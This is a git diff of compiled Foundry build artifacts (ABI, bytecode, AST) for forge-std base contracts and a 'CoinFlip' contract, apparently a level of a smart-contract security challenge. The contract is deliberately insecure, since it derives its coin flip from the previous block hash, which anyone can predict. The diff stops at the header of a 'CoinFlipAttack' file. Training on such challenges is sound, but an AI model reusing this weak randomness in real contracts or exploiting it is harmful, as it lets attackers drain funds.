omitted)...9935"},"value":"115792089237316195423570985008687907853269984665640564039457584007913129639935"},"visibility":"internal"},{"id":58,"nodeType":"VariableDeclaration","src":"1564:40:0","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"1585:2:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"},"typeName":{"id":54,"nodeType":"UserDefinedTypeName","pathNode":{"id":53,"name":"Vm","nameLocations":["1564:2:0"],"nodeType":"IdentifierPath","referencedDeclaration":15673,"src":"1564:2:0"},"referencedDeclaration":15673,"src":"1564:2:0","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"value":{"arguments":[{"id":56,"name":"VM_ADDRESS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20,"src":"1593:10:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":55,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"1590:2:0","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vm_$15673_$","typeString":"type(contract Vm)"}},"id":57,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1590:14:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"visibility":"internal"},{"id":61,"nodeType":"VariableDeclaration","src":"1610:28:0","nodes":[],"constant":false,"mutability":"mutable","name":"stdstore","nameLocation":"1630:8:0","scope":62,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage"},"typeName":{"id":60,"nodeType":"UserDefinedTypeName","pathNode":{"id":59,"name":"StdStorage","nameLocations":["1610:10:0"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"1610:10:0"},"referencedDeclaration":7427,"src":"1610:10:0","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"abstract":true,"baseContracts":[],"canonicalName":"CommonBase","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[62],"name":"CommonBase","nameLocation":"166:10:0","scope":75,"usedErrors":[],"usedEvents":[]},{"id":65,"nodeType":"ContractDefinition","src":"1643:43:0","nodes":[],"abstract":true,"baseContracts":[{"baseName":{"id":63,"name":"CommonBase","nameLocations":["1673:10:0"],"nodeType":"IdentifierPath","referencedDeclaration":62,"src":"1673:10:0"},"id":64,"nodeType":"InheritanceSpecifier","src":"1673:10:0"}],"canonicalName":"TestBase","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[65,62],"name":"TestBase","nameLocation":"1661:8:0","scope":75,"usedErrors":[],"usedEvents":[]},{"id":74,"nodeType":"ContractDefinition","src":"1688:104:0","nodes":[{"id":73,"nodeType":"VariableDeclaration","src":"1737:52:0","nodes":[],"constant":true,"mutability":"constant","name":"vmSafe","nameLocation":"1762:6:0","scope":74,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"},"typeName":{"id":69,"nodeType":"UserDefinedTypeName","pathNode":{"id":68,"name":"VmSafe","nameLocations":["1737:6:0"],"nodeType":"IdentifierPath","referencedDeclaration":15098,"src":"1737:6:0"},"referencedDeclaration":15098,"src":"1737:6:0","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"value":{"arguments":[{"id":71,"name":"VM_ADDRESS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20,"src":"1778:10:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":70,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"1771:6:0","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_VmSafe_$15098_$","typeString":"type(contract VmSafe)"}},"id":72,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1771:18:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"visibility":"internal"}],"abstract":true,"baseContracts":[{"baseName":{"id":66,"name":"CommonBase","nameLocations":["1720:10:0"],"nodeType":"IdentifierPath","referencedDeclaration":62,"src":"1720:10:0"},"id":67,"nodeType":"InheritanceSpecifier","src":"1720:10:0"}],"canonicalName":"ScriptBase","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[74,62],"name":"ScriptBase","nameLocation":"1706:10:0","scope":75,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":0} \ No newline at end of file diff --git a/contracts/out/CoinFlip.sol/CoinFlip.json b/contracts/out/CoinFlip.sol/CoinFlip.json new file mode 100644 index 000000000..1a9f7da73 --- /dev/null +++ b/contracts/out/CoinFlip.sol/CoinFlip.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"consecutiveWins","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"flip","inputs":[{"name":"_guess","type":"bool","internalType":"bool"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x6080604052600160ff1b600255348015610017575f80fd5b505f80556101b5806100285f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80631d263f6714610038578063e6f334d714610060575b5f80fd5b61004b6100463660046100f5565b610076565b60405190151581526020015b60405180910390f35b6100685f5481565b604051908152602001610057565b5f8061008360014361012f565b405f1c90508060015403610095575f80fd5b60018190556002545f906100a99083610148565b90505f816001146100ba575f6100bd565b60015b9050841515811515036100e8575f805490806100d883610167565b9091555060019695505050505050565b50505f8080559392505050565b5f60208284031215610105575f80fd5b81358015158114610114575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156101425761014261011b565b92915050565b5f8261016257634e487b7160e01b5f52601260045260245ffd5b500490565b5f600182016101785761017861011b565b506001019056fea2646970667358221220340baa842e0c9604da3f1bb0118d26fbf456e41472b3ecebd152e10eda819c4264736f6c63430008180033","sourceMap":"57:738:61:-:0;;;-1:-1:-1;;;139:94:61;;240:50;;;;;;;;;-1:-1:-1;282:1:61;264:19;;57:738;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610034575f3560e01c80631d263f6714610038578063e6f334d714610060575b5f80fd5b61004b6100463660046100f5565b610076565b60405190151581526020015b60405180910390f35b6100685f5481565b604051908152602001610057565b5f8061008360014361012f565b405f1c90508060015403610095575f80fd5b60018190556002545f906100a99083610148565b90505f816001146100ba575f6100bd565b60015b9050841515811515036100e8575f805490806100d883610167565b9091555060019695505050505050565b50505f8080559392505050565b5f60208284031215610105575f80fd5b81358015158114610114575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156101425761014261011b565b92915050565b5f8261016257634e487b7160e01b5f52601260045260245ffd5b500490565b5f600182016101785761017861011b565b506001019056fea2646970667358221220340baa842e0c9604da3f1bb0118d26fbf456e41472b3ecebd152e10eda819c4264736f6c63430008180033","sourceMap":"57:738:61:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;296:497;;;;;;:::i;:::-;;:::i;:::-;;;457:14:155;;450:22;432:41;;420:2;405:18;296:497:61;;;;;;;;81:30;;;;;;;;;630:25:155;;;618:2;603:18;81:30:61;484:177:155;296:497:61;339:4;;394:16;409:1;394:12;:16;:::i;:::-;384:27;376:36;;355:57;;439:10;427:8;;:22;423:61;;465:8;;;423:61;494:8;:21;;;557:6;;525:16;;544:19;;505:10;544:19;:::i;:::-;525:38;;573:9;585:8;597:1;585:13;:28;;608:5;585:28;;;601:4;585:28;573:40;;636:6;628:14;;:4;:14;;;624:163;;658:15;:17;;;:15;:17;;;:::i;:::-;;;;-1:-1:-1;696:4:61;;296:497;-1:-1:-1;;;;;;296:497:61:o;624:163::-;-1:-1:-1;;749:1:61;731:19;;;749:1;296:497;-1:-1:-1;;;296:497:61:o;14:273:155:-;70:6;123:2;111:9;102:7;98:23;94:32;91:52;;;139:1;136;129:12;91:52;178:9;165:23;231:5;224:13;217:21;210:5;207:32;197:60;;253:1;250;243:12;197:60;276:5;14:273;-1:-1:-1;;;14:273:155:o;666:184::-;-1:-1:-1;;;715:1:155;708:88;815:4;812:1;805:15;839:4;836:1;829:15;855:128;922:9;;;943:11;;;940:37;;;957:18;;:::i;:::-;855:128;;;;:::o;988:274::-;1028:1;1054;1044:189;;-1:-1:-1;;;1086:1:155;1079:88;1190:4;1187:1;1180:15;1218:4;1215:1;1208:15;1044:189;-1:-1:-1;1247:9:155;;988:274::o;1267:135::-;1306:3;1327:17;;;1324:43;;1347:18;;:::i;:::-;-1:-1:-1;1394:1:155;1383:13;;1267:135::o","linkReferences":{}},"methodIdentifiers":{"consecutiveWins()":"e6f334d7","flip(bool)":"1d263f67"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"consecutiveWins\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"_guess\",\"type\":\"bool\"}],\"name\":\"flip\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/CoinFlip.sol\":\"CoinFlip\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/CoinFlip.sol\":{\"keccak256\":\"0xee4c36a31de9882a423aec4cac960ec28586ae015f809ffad606aeafc9d12976\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3d782d9af569c371b593f69f1935537d1f4437811c1fc42a8613549e82f0c279\",\"dweb:/ipfs/QmQGu57AR8BeEQvSpQhPNWLWAUwBXC9FcDFwatEm5WM14c\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"stateMutability":"view","type":"function","name":"consecutiveWins","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"bool","name":"_guess","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"flip","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/CoinFlip.sol":"CoinFlip"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/CoinFlip.sol":{"keccak256":"0xee4c36a31de9882a423aec4cac960ec28586ae015f809ffad606aeafc9d12976","urls":["bzz-raw://3d782d9af569c371b593f69f1935537d1f4437811c1fc42a8613549e82f0c279","dweb:/ipfs/QmQGu57AR8BeEQvSpQhPNWLWAUwBXC9FcDFwatEm5WM14c"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/CoinFlip.sol","id":50178,"exportedSymbols":{"CoinFlip":[50177]},"nodeType":"SourceUnit","src":"32:764:61","nodes":[{"id":50097,"nodeType":"PragmaDirective","src":"32:23:61","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":50177,"nodeType":"ContractDefinition","src":"57:738:61","nodes":[{"id":50099,"nodeType":"VariableDeclaration","src":"81:30:61","nodes":[],"constant":false,"functionSelector":"e6f334d7","mutability":"mutable","name":"consecutiveWins","nameLocation":"96:15:61","scope":50177,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50098,"name":"uint256","nodeType":"ElementaryTypeName","src":"81:7:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"public"},{"id":50101,"nodeType":"VariableDeclaration","src":"117:16:61","nodes":[],"constant":false,"mutability":"mutable","name":"lastHash","nameLocation":"125:8:61","scope":50177,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50100,"name":"uint256","nodeType":"ElementaryTypeName","src":"117:7:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"id":50104,"nodeType":"VariableDeclaration","src":"139:94:61","nodes":[],"constant":false,"mutability":"mutable","name":"FACTOR","nameLocation":"147:6:61","scope":50177,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50102,"name":"uint256","nodeType":"ElementaryTypeName","src":"139:7:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"3537383936303434363138363538303937373131373835343932353034333433393533393236363334393932333332383230323832303139373238373932303033393536353634383139393638","id":50103,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"156:77:61","typeDescriptions":{"typeIdentifier":"t_rational_57896044618658097711785492504343953926634992332820282019728792003956564819968_by_1","typeString":"int_const 5789...(69 digits omitted)...9968"},"value":"57896044618658097711785492504343953926634992332820282019728792003956564819968"},"visibility":"internal"},{"id":50112,"nodeType":"FunctionDefinition","src":"240:50:61","nodes":[],"body":{"id":50111,"nodeType":"Block","src":"254:36:61","nodes":[],"statements":[{"expression":{"id":50109,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50107,"name":"consecutiveWins","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50099,"src":"264:15:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"30","id":50108,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"282:1:61","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"264:19:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":50110,"nodeType":"ExpressionStatement","src":"264:19:61"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":50105,"nodeType":"ParameterList","parameters":[],"src":"251:2:61"},"returnParameters":{"id":50106,"nodeType":"ParameterList","parameters":[],"src":"254:0:61"},"scope":50177,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50176,"nodeType":"FunctionDefinition","src":"296:497:61","nodes":[],"body":{"id":50175,"nodeType":"Block","src":"345:448:61","nodes":[],"statements":[{"assignments":[50120],"declarations":[{"constant":false,"id":50120,"mutability":"mutable","name":"blockValue","nameLocation":"363:10:61","nodeType":"VariableDeclaration","scope":50175,"src":"355:18:61","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50119,"name":"uint256","nodeType":"ElementaryTypeName","src":"355:7:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":50130,"initialValue":{"arguments":[{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50127,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":50124,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"394:5:61","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":50125,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"400:6:61","memberName":"number","nodeType":"MemberAccess","src":"394:12:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"31","id":50126,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"409:1:61","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"394:16:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":50123,"name":"blockhash","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-5,"src":"384:9:61","typeDescriptions":{"typeIdentifier":"t_function_blockhash_view$_t_uint256_$returns$_t_bytes32_$","typeString":"function (uint256) view returns (bytes32)"}},"id":50128,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"384:27:61","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":50122,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"376:7:61","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":50121,"name":"uint256","nodeType":"ElementaryTypeName","src":"376:7:61","typeDescriptions":{}}},"id":50129,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"376:36:61","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"355:57:61"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50133,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50131,"name":"lastHash","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50101,"src":"427:8:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":50132,"name":"blockValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50120,"src":"439:10:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"427:22:61","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50138,"nodeType":"IfStatement","src":"423:61:61","trueBody":{"id":50137,"nodeType":"Block","src":"451:33:61","statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"id":50134,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"465:6:61","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$__$returns$__$","typeString":"function () pure"}},"id":50135,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"465:8:61","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50136,"nodeType":"ExpressionStatement","src":"465:8:61"}]}},{"expression":{"id":50141,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50139,"name":"lastHash","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50101,"src":"494:8:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":50140,"name":"blockValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50120,"src":"505:10:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"494:21:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":50142,"nodeType":"ExpressionStatement","src":"494:21:61"},{"assignments":[50144],"declarations":[{"constant":false,"id":50144,"mutability":"mutable","name":"coinFlip","nameLocation":"533:8:61","nodeType":"VariableDeclaration","scope":50175,"src":"525:16:61","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50143,"name":"uint256","nodeType":"ElementaryTypeName","src":"525:7:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":50148,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50147,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50145,"name":"blockValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50120,"src":"544:10:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"id":50146,"name":"FACTOR","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50104,"src":"557:6:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"544:19:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"525:38:61"},{"assignments":[50150],"declarations":[{"constant":false,"id":50150,"mutability":"mutable","name":"side","nameLocation":"578:4:61","nodeType":"VariableDeclaration","scope":50175,"src":"573:9:61","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":50149,"name":"bool","nodeType":"ElementaryTypeName","src":"573:4:61","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"id":50157,"initialValue":{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50153,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50151,"name":"coinFlip","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50144,"src":"585:8:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"31","id":50152,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"597:1:61","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"585:13:61","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"hexValue":"66616c7365","id":50155,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"608:5:61","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"id":50156,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"585:28:61","trueExpression":{"hexValue":"74727565","id":50154,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"601:4:61","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"VariableDeclarationStatement","src":"573:40:61"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":50160,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50158,"name":"side","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50150,"src":"628:4:61","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":50159,"name":"_guess","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50114,"src":"636:6:61","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"628:14:61","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":50173,"nodeType":"Block","src":"717:70:61","statements":[{"expression":{"id":50169,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50167,"name":"consecutiveWins","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50099,"src":"731:15:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"30","id":50168,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"749:1:61","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"731:19:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":50170,"nodeType":"ExpressionStatement","src":"731:19:61"},{"expression":{"hexValue":"66616c7365","id":50171,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"771:5:61","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":50118,"id":50172,"nodeType":"Return","src":"764:12:61"}]},"id":50174,"nodeType":"IfStatement","src":"624:163:61","trueBody":{"id":50166,"nodeType":"Block","src":"644:67:61","statements":[{"expression":{"id":50162,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"658:17:61","subExpression":{"id":50161,"name":"consecutiveWins","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50099,"src":"658:15:61","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":50163,"nodeType":"ExpressionStatement","src":"658:17:61"},{"expression":{"hexValue":"74727565","id":50164,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"696:4:61","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":50118,"id":50165,"nodeType":"Return","src":"689:11:61"}]}}]},"functionSelector":"1d263f67","implemented":true,"kind":"function","modifiers":[],"name":"flip","nameLocation":"305:4:61","parameters":{"id":50115,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50114,"mutability":"mutable","name":"_guess","nameLocation":"315:6:61","nodeType":"VariableDeclaration","scope":50176,"src":"310:11:61","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":50113,"name":"bool","nodeType":"ElementaryTypeName","src":"310:4:61","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"309:13:61"},"returnParameters":{"id":50118,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50117,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":50176,"src":"339:4:61","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":50116,"name":"bool","nodeType":"ElementaryTypeName","src":"339:4:61","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"338:6:61"},"scope":50177,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"CoinFlip","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[50177],"name":"CoinFlip","nameLocation":"66:8:61","scope":50178,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":61} \ No newline at end of file diff --git a/contracts/out/CoinFlipAttack.sol/CoinFlipAttack.json b/contracts/out/CoinFlipAttack.sol/CoinFlipAttack.json new file mode 100644 index 000000000..af9194d7e --- /dev/null +++ b/contracts/out/CoinFlipAttack.sol/CoinFlipAttack.json @@ -0,0 +1 @@ 